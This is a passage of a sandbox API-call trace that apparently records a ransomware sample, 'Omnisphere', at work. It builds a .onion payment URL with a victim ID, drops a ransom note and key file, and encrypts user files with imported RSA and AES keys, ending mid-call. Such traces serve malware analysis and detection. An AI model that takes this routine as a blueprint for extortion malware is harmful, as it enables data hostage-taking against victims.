GetProcessHeap () returned 0x1600000 [0128.151] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16f1f50 [0128.151] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16f1f50, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0128.151] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0128.151] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0128.152] GetProcessHeap () returned 0x1600000 [0128.152] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1710780 [0128.152] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1710780, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0128.152] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0128.152] GetProcessHeap () returned 0x1600000 [0128.152] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xdc) returned 0x16faef8 [0128.152] PathCombineW (in: pszDest=0x16faef8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt" [0128.152] GetProcessHeap () returned 0x1600000 [0128.152] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x170b3b0 [0128.152] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0128.152] WriteFile (in: hFile=0x288, lpBuffer=0x170b3b0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x170b3b0*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0128.153] CloseHandle (hObject=0x288) returned 1 [0128.153] GetProcessHeap () returned 0x1600000 [0128.153] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16fcd68 | out: hHeap=0x1600000) returned 1 [0128.153] GetProcessHeap () returned 0x1600000 [0128.153] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd2) returned 0x1649080 [0128.153] PathCombineW (in: pszDest=0x1649080, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key" [0128.153] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0128.153] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0128.153] CloseHandle (hObject=0x288) returned 1 [0128.154] GetProcessHeap () returned 0x1600000 [0128.154] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1649080 | out: hHeap=0x1600000) returned 1 [0128.154] GetProcessHeap () returned 0x1600000 [0128.154] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x160e0d8 | out: hHeap=0x1600000) returned 1 [0128.154] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6765bb0e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6765bb0e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6765bb0e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0xcc, cFileName="9c08ad74ad8708df.automaticDestinations-ms", cAlternateFileName="9C08AD~1.AUT")) returned 1 [0128.154] GetProcessHeap () returned 0x1600000 [0128.154] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x100) returned 0x160e0d8 [0128.154] PathCombineW (in: pszDest=0x160e0d8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="9c08ad74ad8708df.automaticDestinations-ms" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\9c08ad74ad8708df.automaticDestinations-ms") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\9c08ad74ad8708df.automaticDestinations-ms" [0128.154] StrStrW (lpFirst=".omnisphere", lpSrch=".automaticDestinations-ms") returned 0x0 [0128.154] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\9c08ad74ad8708df.automaticDestinations-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\9c08ad74ad8708df.automaticdestinations-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0128.155] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=2560) returned 1 [0128.155] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x4dc, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0128.155] ReadFile (in: hFile=0x288, lpBuffer=0x3e0cd78, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d2c0, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesRead=0x3e0d2c0*=0x524, lpOverlapped=0x0) returned 1 [0128.157] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa00, lpName=0x0) returned 0x3c0 [0128.157] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x1480000 [0128.157] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0128.157] CloseHandle (hObject=0x3c0) returned 1 [0128.157] GetTickCount () returned 0x115ff9a [0128.157] GetTickCount () returned 0x115ff9a [0128.157] GetTickCount () returned 0x115ff9a [0128.157] GetTickCount () returned 0x115ff9a [0128.157] GetTickCount () returned 0x115ff9a [0128.157] GetTickCount () returned 0x115ff9a [0128.157] GetTickCount () returned 0x115ff9a [0128.157] GetTickCount () returned 0x115ff9a [0128.157] GetTickCount () returned 0x115ff9a [0128.157] GetTickCount () returned 0x115ff9a [0128.157] GetTickCount () returned 0x115ff9a [0128.157] GetTickCount () returned 0x115ff9a [0128.157] GetTickCount () returned 0x115ff9a [0128.157] GetTickCount () returned 0x115ff9a [0128.157] GetTickCount () returned 0x115ff9a [0128.158] GetTickCount () returned 0x115ff9a [0128.158] GetTickCount () returned 0x115ff9a [0128.158] GetTickCount () returned 0x115ff9a [0128.158] GetTickCount () returned 0x115ff9a [0128.158] GetTickCount () returned 0x115ff9a [0128.158] GetTickCount () returned 0x115ff9a [0128.158] GetTickCount () returned 0x115ff9a [0128.158] GetTickCount () returned 0x115ff9a [0128.158] GetTickCount () returned 0x115ff9a [0128.158] GetTickCount () returned 0x115ff9a [0128.158] GetTickCount () returned 0x115ff9a [0128.158] GetTickCount () returned 0x115ff9a [0128.158] GetTickCount () returned 0x115ff9a [0128.158] GetTickCount () returned 0x115ff9a [0128.158] GetTickCount () returned 0x115ff9a [0128.158] GetTickCount () returned 0x115ff9a [0128.158] GetTickCount () returned 0x115ff9a [0128.158] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x1668570) returned 1 [0128.159] CryptImportKey (in: hProv=0x1668570, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x1639868) returned 1 [0128.159] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0128.159] CryptDestroyKey (hKey=0x1639868) returned 1 [0128.159] CryptReleaseContext (hProv=0x1668570, dwFlags=0x0) returned 1 [0128.159] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa00, lpName=0x0) returned 0x3c0 [0128.159] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa00) returned 0x1480000 [0128.160] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x1668bd0) returned 1 [0128.160] CryptImportKey (in: hProv=0x1668bd0, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x1639568) returned 1 [0128.160] CryptSetKeyParam (hKey=0x1639568, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0128.161] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0128.161] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.161] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.161] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.161] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.161] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.161] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.161] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.161] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.161] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.161] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.161] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.161] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.161] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.161] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.161] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.161] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.162] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.162] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.162] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.162] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.162] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.162] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.162] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.162] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.162] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.162] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.162] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.162] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.162] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.162] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.162] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.162] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.162] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.162] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.163] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.163] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.163] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.163] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.163] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.163] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.163] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.163] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.163] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.163] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.163] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.163] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.163] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.163] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.163] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.163] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.163] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.163] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.164] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.164] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.164] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.164] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.164] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.164] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.164] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.164] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.164] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.164] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, 